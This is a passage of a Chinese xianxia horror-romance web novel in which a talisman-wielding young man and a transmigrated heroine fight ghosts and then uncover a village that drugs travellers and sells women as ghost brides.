听到她要去找李慕言,谢玄淮收拾东西的手顿了一下,然后继续不动声色地整理东西,面上不显,心里却在暗暗较劲,为什么要去李慕言,他不就在眼前吗?李慕言哪里比他好?
当然,柳凝雪去找李慕言只是随口一说,她不可能也绝对不会再去找他,在她心里,李慕言比鬼还可怕。
谢玄淮整理好东西后,又坐下来用朱砂画了数张符备用,他画符画得极快,没个十几年速度和熟练度都不会这样。
画符时,柳凝雪曾问他要不要用自己的血,她对自己的血有了更上一层的认知,那就是有增强威力的攻效。
谢玄淮说:“不用。”
符纸画完时,房门就响起了砰砰砰的敲门声,这不像是在敲门,更像是在砸门。
眼看着鬼物就要破门而入了,谢玄淮和柳凝雪来到窗外,他将窗户打开,把用衣服做成的绳子系在窗上,再搂过她的腰,对她说:“闭上眼睛。”
柳凝雪忙闭上了眼,紧接着她就感受到脚下一空,谢玄淮带着她跳窗走了,与此同时,鬼物破门而入,但见到的却是人去楼空。
谢玄淮带着柳凝雪来到地上,将她放了下来,他回首望了眼那间房,说:“走。”
柳凝雪点了点头,鬼物的目标是她,只要她离开了驿站,那些鬼就会跟着她走,这样一来驿站就安全了。
可是他们要去哪?
柳凝雪一头雾水,她被谢玄淮牵着走,她问他:“我们要去哪里?”
谢玄淮淡定道:“东南方。”
东南方,是她的解大凶卦象所在,不破这个局的话,他们只会寸步难行。
听了他的话,柳凝雪心里涌起一阵感动,虽然知道他可能是有其他目的,但她还是忍不住,他明明可能直接放弃自己的,却带着她去破局。
想着,柳凝雪反手把他的手握紧了,感受着她掌心的温度,谢玄淮唇边不禁浮起一丝笑意,要让她喜欢上他,似乎也很简单。
谢玄淮带着柳凝雪骑马往东南方向而去,这是从驿站牵出来的好马,速度自然快,他将自己的剑塞进柳凝雪怀里让她抱着,自己则专心
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策马。
那些鬼物发现他们离开后,很快又追了上来,如柳凝雪,鬼物全被她吸引了过来。
看着身后的鬼物,柳凝雪担忧地问他,“谢玄淮,怎么办?我们就一直这样逃下去吗?”
谢玄淮道:“当然不。”
他在等一个机会,一个能将这些东西彻底铲除的机会。
在骑马的时候,柳凝雪注意到他一直在往地上扔符纸,被丢到地上的符纸以剑的形式插.入地中,随后又隐去形状,后面追上来的鬼物根本看不见。
等符纸放的差不多了,谢玄淮把缰绳往柳凝雪手中一塞,道:“拿着。”
在离开的时候,他又补了一句,“等我。”
柳凝雪不擅策马,在他离开后,马儿的速度明显慢下来不少。
她回头去看谢玄淮,便见他站在法阵中划破了自己的手,让掌心的鲜血洒出,沾到每一张符纸上。
符纸遇血即现,等鬼物发觉自己已入阵法已经来不及了。
谢玄淮从袖中抽出一张空白符纸,再用自己的血画上痕迹,黄符顿时迸发出一道红光,刺破长空。
他将符纸往上一抛,随即飞速打着结印手势,整个过程不过一秒,他两指并拢置于唇前,念道:“阵起。”
那些鬼物还试图通过攻击他闯出阵法,可惜还没来得及动作,身体就被地下破土而出的锁链给缠住了。
一条锁链出,接着就上百锁链齐齐破出锁住每一只鬼物,血红的锁链在谢玄淮的指挥下缠得越来越紧,接着地上便现出一个巨大的法阵,锁链应阵而动,将那些鬼物尽数往地上拖。
它们尖嚎着想要冲破却无可奈何,只能硬生生被锁链拖入地下,柳凝雪被阵法的红光刺得闭上眼睛,再睁眼时,地面已经恢复了平静,仿佛一切从未发生一般。
地上还残存着利爪划过地面时的痕迹,柳凝雪策马往回赶,谢玄淮伸手收回那张飘在空中的符纸,原本锋利的符咒线条变得扭曲怪异。
他把那些东西全都封印进了阵法里,这张符纸就好比如打开阵法的钥匙,取回符纸时,他看都未曾看一眼,就将手中符纸一扬,脱离他掌心的瞬间,符纸立即自燃了起来,不过片刻就化成了灰烬。
“谢玄淮!你没事吧?”柳凝雪勒紧缰绳,迫使马儿在他身边停下,谢玄淮抬眸扫了她一眼,道:“没事。”
说完,他就翻身上了马,抓起缰绳往东南方向继续行去。
柳凝雪听他说没事,便真以为他没事,可不到一会儿,她就听见耳边传来轻微的咳嗽声,空气中还夹杂着一丝血腥气。
柳凝雪内心慌乱了一下,问道:“谢玄淮,你真的没事吗?”
可这次却没人应她,片刻后,她忽感肩上一重,谢玄淮下巴磕在了她的肩膀上,她偏头看过去,却见他唇边溢出了一道血痕。
“谢玄淮!!”她急得喊了一声,却又不敢乱动,怕他从马上掉下去。
柳凝雪只好控制着马儿停下来,再艰难地把他扶下去,说是扶,其实也不尽然,是她和谢玄淮从马上摔了下去,只是她用手扶住了他的头。
柳凝雪将谢玄淮平放在地,再去摸索他身上的药,她记得之前谢玄淮身上带了一瓶奇药,吃下去再重的病,也能一夜转好。
可还没等她摸到,躺着的人就传来一阵咳嗽声,谢玄淮抓住了她乱摸的手,勉强睁开双眼,对她说:“休息一夜就好了,不必担心。”
说完,他就晕死过去,柳凝雪无语片刻,只好在原地守着他。
49. 桃花源
天边逐渐亮起柔和的光,映在草地上躺着的两人身上,露水从绿草上滑落滴在谢玄淮紧闭的双眸上,冰凉的狠感使他眼捷轻颤了下。
他从昏睡中悠悠转醒,忽感手臂上一麻,他转头望去,便见柳凝雪拿着自己的手臂当枕,睡得正安详。
他动了下,柳凝雪也跟着醒了,她本就没睡多熟,醒来后见到谢玄淮也醒了,她高兴道:“你醒了?”
谢玄淮点了点头,两人从地上站起来,各自理了理身上的衣服,柳凝雪拍了几下衣上的灰尘,又小心地去拂玉佩上的灰尘,不可谓不珍惜至极。
谢玄淮默不作声地将一切收进眼中,他面上不显,心里却怨毒地想着一切,他压下心底的恨意去牵马。
其实他就是看不得柳凝雪在意除了他以外的所有东西。
把马牵过来后,谢玄淮首先上了马,再伸手将柳凝雪带上来。
两人骑着马往东南走,沉默一阵后,谢玄淮问她:“那枚玉佩对你就这么重要吗?”
离得太近了,柳凝雪感觉他在耳边吐气,弄得她耳畔痒痒的,她动了动耳朵忍住想去摸的冲动,说:“当然,它和我的命一样重要。”
谢玄淮握着缰绳的手一紧,尽管内心如波涛汹涌,面上还维持着面无表情,说:“因为这枚玉佩是他给你的?”
“他?”柳凝雪没察觉他语气里的异样,她疑惑了一阵,说:“是你给的。”
可只有谢玄淮知道自己根本就没有给过,或许还是前世的那个他,谢玄淮心里冷笑一声,和她的命一样重要吗?
谢玄淮呼出一口浊气,问她:“你以前是生活在哪里的?”
自她坦白玉佩那一刻起,他就清楚她的身份绝非柳家小姐这么简单,他在古书上看过异世之人,若非她不是异世之人,又怎么解释得了她遇见的那个前世的他呢?
谢玄淮对自己的前世不感兴趣,他只在柳凝雪的过往。
说到此处,柳凝雪眸色暗沉了下,神色透着些许失落,说:“在另一个世界里,那里很安全也很好。”
听出了她语气里的落寞,谢玄淮心尖微颤,低声问:“你很喜欢那里吗?”
柳凝雪点了点头,“当然。”
谢玄淮沉默了下来,她喜欢那里,他觉得她迟早会离开这里的,可他现在还不知道去到那里的办法,至少还不知道。
而且去了那里,他也不清楚柳凝雪会不会再遇到那个前世的他,如果她为了他而离开他呢?
谢玄淮的脸色沉了沉,他绝对不会允许这样的事情发生,那就别让她走好了,把她困在倚竹院里,生生世世,让她都离不开他。
柳凝雪并不知道他脑子里那些偏激的想法,她目光往前看着远方,如李筹所说,往东南方直走,傍晚时分,他们来到了一个村落里。
这个村名叫桃花源,村如其名,满山都种满了桃花树,此时正值春季,粉嫩的桃花开得正盛。
按理说,这种村落的村民一般都是男耕女织,自给自足的,但这时正是春天播种的时候,田地间却不见一人。
柳凝雪和谢玄淮下了马往直走着,她打量了下田间,有些地是耕过的,但大多都是荒芜的。
且此时村落安静至极,不闻人声,只余犬吠鸡鸣。
两人走进村落里,柳凝雪看了谢玄淮一眼,随即上前敲了最近的门。
她喊道:“请问有人吗?”
话落,他们在外面候了一阵也不见人来开门,正当柳凝雪怀疑这是不是座荒村时,木门被人打开了。
来者是个约莫四五十岁的妇人,她戴着头巾,将一头白黑相间的头发尽数挽起,见到柳凝雪,她面色和善地笑了笑,说:“有的有的。”
说着,她上下打量了眼柳凝雪,这个目光看得柳凝雪不适,就好像在打量一件物品一般。
柳凝雪忍着反感,说:“我们途径此处,天色已晚,想借宿一晚,不知可否方便?”
听到她说我们,妇人才知她身后还有一人,抬头看去,便见谢玄淮面色冷沉地扫了她一眼。
少年眼神淡漠,善恶不明,妇人也不敢多去看他,忙收回目光看着柳凝雪,笑说:“方便方便,进来吧。”
妇人说着挪开身体让他们方便进门,谢玄淮将马放到外面的树下绑着,随后跟着柳凝雪进门了。
一进门,屋里就走出个同样头发黑白相间的中年男子,他们穿戴朴素,一看就是老实本分的普通百姓。
妇女道:“这是俺的丈夫,这屋就我们俩人住,隔壁刚好还空了一间房,让给你们了。”
妇人见他们是一道的,便下意识地以为他们是夫妻,柳凝雪听完,也不拒绝,因为她总觉得这里透着股古怪,还是不要分房睡的好。
她笑说:“好的。”
随即,她从荷包里取出几两银子放到妇人手中,说:“这是我们住这里住费用,劳烦你把一日三餐都送进我们的房间里,之后我还会付银子的。”
妇人领了银子脸上顿时笑开了花,忙说道:“好的好的,有什么尽管吩咐就行,我俩闲着也是闲着。”
柳凝雪微微笑着,交待好事宜后,她便拽着谢玄淮回了房间。
砰的一声,她把门关上后便趴在门上观察着,见门外没什么异动,她才放心下来。
柳凝雪道:“你有没有觉得这里很奇怪?”
谢玄淮望着那只被她牵过的手看了一阵,点头道:“是很奇怪。”
柳凝雪有一种直觉,道:“会不会这就是我们要找的地方?”
谢玄淮的指尖按在了唇上,说:“有可能。”
柳凝雪上前一步一把抓住了他的手,说:“那我们要多注意着点才行,万一晚上又来一堆鬼就不好了。”
谢玄淮低头看了眼被柳凝雪抓住的手,他指节很曲了下,从喉咙里发出一声沉闷的“嗯。”
到了晚上,妇人如约将饭端到了房门外,她敲了敲门,见没动静,刚想把耳朵贴上去,柳凝雪闻就将门打开了,妇人讪讪一笑,道:“姑娘这是你要的饭。”
柳凝雪没将门开得多大,她整个人就挡住了妇人想要往里探的视线,见妇人还欲往里窥探,柳凝雪把夺过她手中的端盘,说:“行了,你走吧。”
话落,她就无情地关上了门。
柳凝雪将饭端回到桌上放着,转头去看正在贴符布阵的谢玄淮,这次出来,他们带了个无尽锦囊,装了不少法宝武器,应对邪祟绰绰有余。
等布好阵法,柳凝雪喊道:“先用晚饭。”
为了防止万一,柳凝雪还用银针在每个饭菜上都扎了一下,直到看见银针不变色后,她才放心吃。
谢玄淮将手中的朱笔红砂抛下,净手来到柳凝雪身边坐下,看着眼前的清粥白菜,他颇没有食欲。
反观柳凝雪,吃得比他轻快多了,毕竟在现代的时候,她很多时候就是这么过的,白
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天当牛马,晚上没时间累得不想做饭。
柳凝雪很快就干完了一碗白粥,谢玄淮看着她的模样,心中一动,用筷子夹了一块白菜放进嘴里,片刻后,他在心中得出一个结论,难吃。
随即,他就放下了碗筷,柳凝雪看了他那一动不动的粥,疑惑道:“你吃饱了?”
她惊讶于谢玄淮的饭量,在路上时,他也鲜少吃东西,多数时候只喝水,柳凝雪真怕他体力不支晕倒。
谢玄淮回她,道:“我不饿。”
搞笑呢?
她快一天没吃东西,都要饿瘪了,他说他不饿?
柳凝雪态度坚决,说:“不行!你必须吃,两口也好。”
见柳凝雪如此,谢玄淮只好勉为其难地端起粥喝了两口,但见柳凝雪目光一直注视着他,他又喝了大半碗才放下。
柳凝雪地笑了笑,说:“这才好嘛。”
晚上,周围房屋都亮了起烛灯,柳凝雪抱着衣服出了门,小村庄的净室都是单独出来一间的,她要想洗澡的话,就要到别处。
净室里,妇人已经烧好了水,就等着柳凝雪过来了,为了保障安全,她还戴上了玉佩,净室在房屋之后,不大不小,正中间摆放着一个浴桶。
柳凝雪独自一人来到这里,心里毛毛的,总感觉暗处有一道视线在盯着她,她四下看了几眼,也没有发现任何人。
她将衣服放到板凳上,低头看着浴桶里冒着热气的热水,内心挣扎了一番,要不不洗了?这荒郊野岭的,也没个人身安全保障。
柳凝雪看了眼那衣服,是妇人拿给她的,艳红红的,活似成亲了一样,妇人说那是她女儿留下来的。
可不知为何,柳凝雪总感觉这件衣服有些不对。
算了,不洗了,这个澡不是非要洗。
从净室里出来,柳凝雪左右看了下,发现净室后还有个人高的门,不过被人从外面锁上了,通过缝隙隐约能看见一条通道,往后面的房屋而去。
那些房屋都没点上灯,看着阴森可怖,柳凝雪没敢过去,她抱着衣服又回了房间。
彼时,谢玄淮正拿着一块玉在刻着什么,这块玉他从来的路上就一直在刻着了。
听到开门声,他抬眸望了她一眼,又继续低头去刻了。
柳凝雪不清楚他在刻什么,也兴趣问他,她将衣服放到一边,对他说:“你要去沐浴吗?净室那边有水。”
谢玄淮道:“你不说你要洗吗?”
柳凝雪道:“不洗了。”
谢玄淮问:“为什么。”
柳凝雪道:“哪有那么多为什么,不想就是不想,你想就去吧。”
谢玄淮继续刻着手中的玉默言不语。
半夜,柳凝雪迷迷糊糊地睡着了,本来她是极为害怕的,迟迟不敢入睡,可谢玄淮一在自己身边躺下,她就变得安心了许多,睡觉的时候也忍不住往他那边靠近了些。
半梦半醒间,她忽然感觉有什么冰冰凉凉的东西贴在了她的锁骨上,可由于她太困了,实在睁不开眼睛,便随意伸手摸了摸。
谢玄淮以手支着脑袋侧躺着,眼睛一动不动地看着怀里的人,她脖子上戴着他亲手刻的玉,青绿的玉和她洁白的肌肤相应,极为养眼,他颇为满意地欣赏着。
这时,房门外忽然响起一阵骚动,谢玄淮脸色沉了沉,只听门外的妇女,道:“熄灯了,应该是睡着了。”
“动手……”
50. 暗处
话落之后,就再没声音了,谢玄淮安静了片刻,随后埋首在柳凝雪胸前闭上了眼睛。
屋外,妇人将耳朵贴在窗户上,仔细听到里面的动静,许久过后都听到响动,她转身低声对男子道:“睡着了。”
男子点了点头,随即,他拿着一根细竹上前,将尖端扎破窗纸,接着开始往里吹白烟。
持续了几分钟,男子将竹管抽出来,对妇女说:“应该可以了。”
妇女点了点头,走到房门前,正想推开门,忽感身后有一道视线在凝望着自己,冰冷的视线让人触之发麻,她回头看去,就见原本该在房里被迷晕的谢玄淮不知何时出现在了自己的背后。
他站在对面的屋檐上,双手抱剑,束起的马尾迎风晃荡,神情冰冷异常,一双冷沉的红瞳正静静凝视着自己,犹如深渊爬出来索命的恶鬼。
妇女吓得啊一声瘫软在地上,男子正奇怪她的反应,跟着她回头看去,也吓得跌倒在地上。
悄无声息出现在你身后的,不是鬼是什么?
……
清晨朝阳正盛,日光斜照进房内,日影疏疏,柳凝雪悠悠从睡梦中转醒,她翻了个身,忽感肩上一痛,她不禁倒吸了一口凉气。
“好痛啊。”柳凝雪喃喃了一声,她迷迷糊糊地坐起身来,却发现身边的谢玄淮不知何时就不见了。
她愣了一下,内心不免升起些微恐慌,但这些恐慌都被肩上的疼痛所充斥了,她下了床,从桌子上摸到一面铜镜,对着自己的右肩照了起来。
这一照便见自己皙白的肩上不知怎么出现了一个鲜红的齿痕,那几颗牙印倒映在铜镜里,尤其最边缘的两颗牙印最深。
柳凝雪回头看了眼空荡荡的床榻,心中隐约对自己身上的牙印有了猜想,她放下铜镜穿好衣服。
不多时,房门就被人敲响了。
柳凝雪走到门边将门打开,见到的却是个陌生的妇人和中年男子。
她立即变得警惕起来,问:“你们是谁?!”
妇人笑道:“姑娘别着急,我们是王妇的邻居,昨晚她过去托我们照应一下你们,他们两口子去探望女儿了。”
妇人笑容和煦,很是亲人,但她说的话,柳凝雪却是一点都不信的,怎么会有人在客人还住在自己家的情况下去探望女儿。
妇人道:“姑娘,跟着我们去我家吧,我们也能把姑娘照顾得很好的。”
谢玄淮不在身边,本该不要乱跑得好,这种情况更应该和认识的人待在一起,可是看妇人和中年男子热情到她不能拒绝的样子,她是逃不掉了。
“好。”柳凝雪应了下来,她道:“不过,我要收拾一下东西。”
见她应了下来,妇人忙说道:“好好好。”
说完,柳凝雪就把门关上了,她坐回到床边,深呼吸了几下让自己镇静下来,暂且先答应他们,看他们到底做什么先。
想着,柳凝雪从无尽锦囊里取出一张追踪符,谢玄淮特制的符纸,滴上谁的血,就能追踪到这个人。
原本肩上的血已经结痂了,柳凝雪硬是又掐出了血来,她指尖抹上血涂抹到符纸上,心里盼望谢玄淮回来能够发现。
门外的人似是等久了有些不耐烦,两个头在门外左看右看着,在他们推门进来之前,柳凝雪迅速将符纸塞进了枕头低下,然后微笑地看向他们,说:“走吧。”
妇人和中年男子带着柳凝雪来到了昨晚的净室后的那道门前,上面的铁锁已经被人打开了,门后是一条长通道,通往那座紧闭着门的屋宇。
屋宇四处散发着一股阴森之气,让人看着脊背发寒,他们把柳凝雪带着这里来,对她说:“姑娘,就是里面了,进去吧。”
骗人。
柳凝雪看着眼前的屋子,想都没想脑海里就飘出了这两个字。
只要不是傻的,都能看出这处的诡异。
然而,没等柳凝雪多想,身后的妇人就一把将她推了进去,柳凝雪被她推得一个踉跄,妇人也没耐心再装下去了,露出原本凶恶的面容,说:“进去吧你!磨磨唧唧的!”
说完,妇人就一把将门给关上了,只听门外咔嚓咔嚓动了几下,柳凝雪凑到门边一看,只见门缝中间横了一把铁锁。
被锁住了。
柳凝雪郁闷了一阵,她有些丧气地推了推门框,发现真的出不去后,就地蹲了下来。
现在的天还是明亮的,暂看不出屋子有什么恐怖,就是稍微阴凉瘆人。
柳凝雪蹲在过道上,思考着她要怎么出去,被关在这里,谢玄淮应该很容易就能找到她,可她又不知道谢玄淮去做了什么,也不知道他要多久才回来,所以余下的时间她还是好好想想自己要怎么出去才行。
柳凝雪翻了翻无尽锦囊,除了簪子首饰就是符箓法器,这些都对铁锁没什么用。
那位妇人和中年男子都没有将她身上的东西取走,看着不像是贪财,也可能是有比她身上的东西更值钱的,他们看不上。
左右玉佩和符箓都在手,邪祟暂时还伤不了她。
柳凝雪在一旁坐着,肚子饿了便从锦囊里掏出点东西吃,弯腰时,一枚玉印忽从她衣领中滑出,坠在身前。
她低头一看,便认出了那是谢玄淮一直在刻的玉印。
这是一枚多面印,有二十六个面,十四个印,通体呈玉绿色,每个印大小文字各不相同,每个刻字都涂了金箔填充。
其他面刻的字太生僻了,柳凝雪看不懂,但有一个她却看得明白,上面刻的是:
夫,谢氏笙,字玄淮。
妻,柳氏意,字凝雪。
笙和意都是他们各自的名,其他一些面刻着谢玄淮的官职身份及柳凝雪的出身,剩下的就是柳凝雪看不懂的符文了。
玉印只有她掌心大小,被一条粗细适宜的白绳串起戴在她的脖颈上。
而此刻的玉印正静静地躺在柳凝雪的掌心,泛着莹白的光。
光芒较弱,不注意根本发现不了,柳凝雪正疑惑着,忽听屋宇处传来细微响动。
她抬头看去,只见一座沉寂的房屋,柳凝雪不禁怀疑,刚才是不是
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她的错觉。
可等她看回玉印的时候,屋那边又发出了些许声音,这次的声音持续了几下,像铜环扣在木门上的砰砰声。
这大白天的,不会有鬼吧?
柳凝雪脑海里没来由地蹦出这一句话,把自己也吓了一跳。
怎么可能。
随即,她又否定了,可没过一阵,那段声音又响了起来,好像引诱柳凝雪走向那间屋子一样。
柳凝雪当然是不会去的,在形势不明的情况下,她是不会乱动的,保证小命要紧。
柳凝雪靠墙坐在原地浑浑噩噩地等到天黑,周围暗沉一片,唯独颈上的玉印在发着浅淡的光。
她握着玉印,抬头看了看天空,四周高墙林立,墙面砌得完好无暇,且墙头上还镶嵌着各种大小不一,露着尖端的碎瓷,这是平常老百姓常用来防人爬墙的手段。
柳凝雪撑着下颌思考着,回想自己的攻略之路,不是被拐就是在被拐的路上,莫非她有什么非要被拐的理由不成?
在现代若是被拐了逃生的机率约等于无,柳凝雪已经开始想象自己会被卖出去,然后过着如何惨无人道的生活了。
当然不乏有转手就把人贩子卖出去或屠门逃走的人,但柳凝雪没那个胆,她胆子还没大到那个地步。
正胡思乱想之时,头顶的墙头忽然传来一阵动静,柳凝雪疑惑地抬头看去,就见一只橘猫从墙面上跳了下来。
柳凝雪站起来避开它打量着,那只橘猫在她面前逡巡着,一双绿眼睛紧紧注视着柳凝雪,它往前跑了几步,见柳凝雪没跟上来,又往回跑。
它这是要我跟着它走吗?
柳凝雪神色极为不解,可看到眼前的屋宇,她又不想过去,橘猫见她没来,便跑回她脚边左右急切地转动。
柳凝雪被它围着不由地往后退了两步,嘴里发出“欸欸”两声,那只橘猫竟然趁势将她创倒在地。
“我去!”柳凝雪大喊一声,想要抓起橘猫教训,结果橘猫身形灵活,三两下就从她手中逃脱了。
柳凝雪气得追了上去,她倒要看看这只猫到底想干什么。
她追着橘猫来到道路尽头的屋前,屋门不知何时打开了一条缝,这条缝就好像神秘事物探出的一角,不禁引人窥探。
柳凝雪往缝隙里看了一眼,通过缝隙能看到里面暗黑一片,正在她想要窥探更多时,突然,一只人眼怼到了门缝上,吓得柳凝雪连连往后退去。
那只橘猫见状又趁机跑到她身后将她绊倒,柳凝雪“哎哟”惨叫一声跌倒在地上,她手掌趁势一捞,抓住了橘猫捏着它的脖子将它提了起来。
“你这只蠢猫!”
话骂到一半嘎然而止,柳凝雪怔怔地看着那道屋门缓缓从里被打开了,然而门后却空无一人。
在柳凝雪怔愣期间,橘猫趁机从她手中挣脱,跑进了屋中。
紧接听便听到“喵”一声喊叫,柳凝雪愣在了原地,这时,两只枯瘦如柴且惨白异常的手啪的一下搭在了门框上,接着就是一颗头发稀疏,双眼凹陷的头。
51. 消失
天边太阳落下之时,谢玄淮就才将眼前的邪崇处理干净了。
桃花源表面看似所有村民安乐悠扬,实则底下藏着不知道多少脏污。
昨晚,他将那对夫妇处理完后,便有一大堆邪崇围了过来,不解决它们始终是个变数,谢玄淮眼里向来容不得沙子,他又对邪崇恨之入骨,当即便决定将它们除干净。
可这些邪崇比他预想中的还要难缠,它们大多数是女鬼,且怨气冲天,称得上是怨兜的存在,每至半夜便从地下爬出来吃人。
谢玄淮心里冷笑一声,这桃花源白天一个模样,夜晚又是另一个模样。
他慢悠悠地抽出符纸开始布阵,正好他之前练了不少禁术,今日一并试用。
……
天边的火烧云红艳极其,落日夕阳的火光映在他带血的脸庞,瞳孔里的血红渐渐退去,露出原本的清冷墨黑。
谢玄淮抬手揩去脸上唇边的血,看着满地的尸首残骸化作灰烬,他以剑支地,撑着站了起来。
就在这时,他心底猛地传来一阵抽痛,这阵刺痛来得突然,他的手下意识地摁上心口处,额上正因疼痛而不断地冒出细细密密的汗来。
柳凝雪……
他心中想着,给她戴着的那枚玉印里藏着他的心头血,与柳凝雪的指尖血混杂在一起,只要她出事或是遇到了危险,他都能感觉得到。
谢玄淮眉头蹙起,眸中寒意森森,他静静地握紧了手中的剑转身朝村落里走去。
——
暗黑的屋宇里突然探出个像鬼一样人头,是普通人都会被吓得魂飞魄散,柳凝雪在看到人头的那一刻,一口气差点没呼上来,魂归西天。
“你……”她身体颤抖着想要往后退去,可身体却犹如灌了铅般沉重不能移。
就在她转身欲逃之际,一只指甲修长的鬼手抓住了她的肩将她用力往后一带,猛地拽进了屋里。
接着便是砰一声响起,屋门被人狠狠甩上了。
那只鬼将柳凝雪拽进了屋里后,却没有急着咬她,吃她,而是将她摁在门后细细地打量着她。
柳凝雪被她这么一张惨白的脸怼着,自己的脸色也跟着灰白了起来,她想要奋力挣脱她的桎梏,可没想到瘦枯如柴的鬼手下竟隐藏着一股强劲的力道,按在她肩膀上让她动弹不得。
“你想要怎么样?”
好半天,柳凝雪才找回自己的声音,颤抖着说出这句话。
半晌过后,那盯着她的女鬼才发话,说:“你身上的味道。”
她的声音粗哑难听,饱含风霜,勉强能分辨出是个女人。
柳凝雪被她说得怔愣了一下,道:“啊?我……我身上的味道怎么了?”
“女鬼”又道:“是她……”
“女鬼”的目光在柳凝雪身上不断地逡巡着,神情甚至带了一分久违。
柳凝雪不明白她身上的味道到底和她口中的那个她有什么关系。
正在她惊疑不定时,那张鬼脸移开了。
柳凝雪迟疑了一瞬,便见“女鬼”隐入暗处中,不过多时,黑压压的屋里就亮起了一盏明烛。
烛火亮起的那一刻,柳凝雪就看到了趴在桌脚处的橘猫,她下意识气得喊出声,“你这只蠢猫……”
可碍于对面还有一个似鬼非鬼,似人非人的她,柳凝雪只能忍气吞声,将这份仇恨压下去。
点燃了烛火后,“女鬼”不知从哪拿出了一个碗来到柳凝雪面前,对她说:“有印象吗?”
碗?
柳凝雪脸上空白了一瞬,随后摇了摇头,如实道:“没。”
毕竟没有谁会特意去记自己用过什么碗。
“女鬼”盯着她看了几分钟,而后将碗放到了地上,柳凝雪被她盯得毛骨悚然,视线随着那只碗低了下去。
这么一看碗中,似乎好像有几分熟悉,柳凝雪蹙眉废劲地想了想,猛地,她忽然似想起了什么,面露惊讶地望着面前的人,说:“我想起来了。”
“在满春楼,我见到一只同样的碗。”柳凝雪道,这两只碗上都有着同样的缺口,且做工相同,她又说:“我可以拿起来看看吗?”
“女鬼”默然地看着她,表情似是同意了。
柳凝雪便拿起了地上的碗,她将碗举过头顶去看,果见碗底刻着一个“赵”字。
普通老百姓为防止自己买的碗不见,都会选择在碗底刻字,这也是柳凝雪在之前的农村里见到的,虽然她家不会有这种举动。
“女鬼”随即又急切地问她,“满春楼在哪里?”
柳凝雪道:“在上京。”
虽然不知道她想做什么,柳凝雪也没有欺瞒她,“女鬼”听完后,激动的神情渐渐平复下来,她喃喃说:“是她了,是她了……”
柳凝雪好奇又试探地问出一句,“……是谁?”
本来没期望她会回答的,没想到她却说:“我的嫂嫂。”
柳凝雪怔了一下,心里更为好奇和疑惑了,不等她追问下去,“女鬼”却已开口说话了。
她说:“她是我的嫂嫂……”
说出嫂嫂二字时,她无神的双眼竟流露出了一丝柔和。
“她十六岁时嫁进我的哥哥,那时她明艳动人,待人温柔,我们都很喜欢她……”
赵桃生得貌美,又对人亲和,周围的人对她都心有好感,一开始他们都待她极好。
本以为会这样一直幸福下去,可天不怒人怨,事故发生在一年后,她的婆婆见赵桃一直无所出,又占尽了儿子的宠爱,便心生怨狠,天天针对她,折磨她,一开始旁的人还护几下,可后来一直没见赵桃怀孕便也厌烦了。
当时民间流传着一种称为“拍喜”的习俗,说是新嫁妇嫁进家门两年未有孕,便可召集族中年轻男子拿着木棍木板将新嫁妇拖进小巷中进行拍打。
在这种习俗的传扬下,很多女子重伤不治,她们死后,夫家又顺理成章地娶过新人,而她们的尸首还会被夫家人买给别人当阴妻。
柳凝雪听着她断断续续地说着,心中感触颇多,想要出口安慰,却又不知说些什么,语言总是这么苍白无力的。
“女鬼”接着道:“但是我的嫂嫂没死,她活了下来,可那些人还不肯放过她,看她有点姿色便转手卖了出去。”
说到此处,她的神色异常激动愤恨起来,骂道:“他们都是畜生!!我的嫂嫂她当年就被拖进这条小巷里的,就是在这里!!!”
柳凝雪抿了抿唇,不忍地问她:“那你呢?你又为什么会被关在这里?”
“因为我帮我的嫂嫂逃跑了。”说着,她将脸深埋在双手中,哽咽了几声,道:“他们知道后就把我打断腿关在这里,每天都有好多人过来……”
柳凝雪扫了下这脏污屋子,大概猜想到她经历了什么,这里空空荡荡,就一张烛台,甚至连床都没有一张。
“后来我死了,可我的怨魂不散,他们就请人把我关在了这里,我就一直没出去过。”
柳凝雪心里一凛,她还真是鬼。
她忽的问:“我的嫂嫂,她怎么样了?”
赵桃是她生命中唯一对她好过的人,她怨魂不散很大原因也是因她。
柳凝雪动了动嘴唇,看了她一眼,虽然她见过这只同样的碗,可她根本就没有听说过赵桃,且那只碗还是被随意丢弃在院落中的,由此看来,赵桃也是凶多吉少,即使逃出了这里也没能逃脱被卖的命运。
柳凝雪不说话,女鬼又兀自疯疯癫癫地笑了起来,说:“我既能感受到你身上有她的气息,这便说明她早就不在人世了,已经变成了和我一样的怨鬼。”
“她既缠上了你,那肯定是你对她做了什么!”
她说着疯了一般似的冲向柳凝雪,枯瘦的双手掐上了她的脖颈,她状似癫狂,喊道:“你们都是坏人!!你们都不得好死!!”
“不是的……我没对她做过什么……”柳凝雪艰难地挤出这几句话,没过几秒,玉佩突然迸发一道绿光,将女鬼弹了出去。
女鬼的后背狠狠地撞上了墙面,她惊恐地看着柳凝雪,谨慎得不敢再上前。
柳凝雪呛咳了几声,好不容易呼吸过来了,她说:“我没对她做过什么,她缠上我是因为我碰了她的碗,我什么都不知道就莫名其妙被她缠上了。”
柳凝雪说着还有点埋怨,要是知道碰那个碗会如此,她打死都不会碰。
女鬼听完便蜷缩在角落里不说话了,柳凝雪有些搞不懂她,方才还疯狂地想要她去死,现在又表现出一副柔弱可欺的模样。
既然是她的嫂嫂,那应该也有解咒的办法吧?
柳凝雪已经很确定这个诅咒就她那位嫂嫂下的了,因为她碰了阴间的东西,所以才会引来这么多鬼,它们想
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要将她也拉入阴间。
想着,她对角落里的人说道:“你有没有什么办法解开我身上的诅咒?”
这诅咒在身几天,柳凝雪已经感觉浑身都不适了,好似身体被掏空一样。
角落里的人一动不动地用怨毒的目光看着她,柳凝雪便知只能另寻其他解咒方法了。
靠着墙面坐了一会儿,柳凝雪忽然听到外面响起了一阵骚动,她将门打开一条缝看去,便见那妇人带着两名强壮的家丁过来了。
妇人兴致盎然地对跟在身边的老爷子说着:“我这姑娘也肤白貌美的,可好看了,当阴妻正好合适!”
柳凝雪心中暗道一声完了,阴妻就是要将她配给死人当妻子,一起葬入地下,可她是个大活人!这不就成了活埋了吗?
这妇人原本当天见到柳凝雪就动了心思,今日又见原本住这的人不知道哪去了,便急着上门将她卖出去好赚钱。
这种生意在桃花源屡见不鲜,多少女子丧命于此也未可知。
见妇人越走越近,柳凝雪一颗心沉入了水底,她一个连跑八百米都够呛的人肯定干不过两个身强力壮的家丁。
这时,墙角里的人动了一下,眼前少女的困境和多年前自己的嫂嫂是多么像,随着砰的一下响起,屋门被人从外打开。
妇人带着那三人指着柳凝雪道:“就是她就是她,老爷您看,银子的事?”
那位穿戴整齐的老爷扫了柳凝雪一眼,道:“好说。”
妇人当即便笑了起来,转身对柳凝雪道:“你也是走运了,配给崔家长子当阴妻是你几辈子修来的福分。”
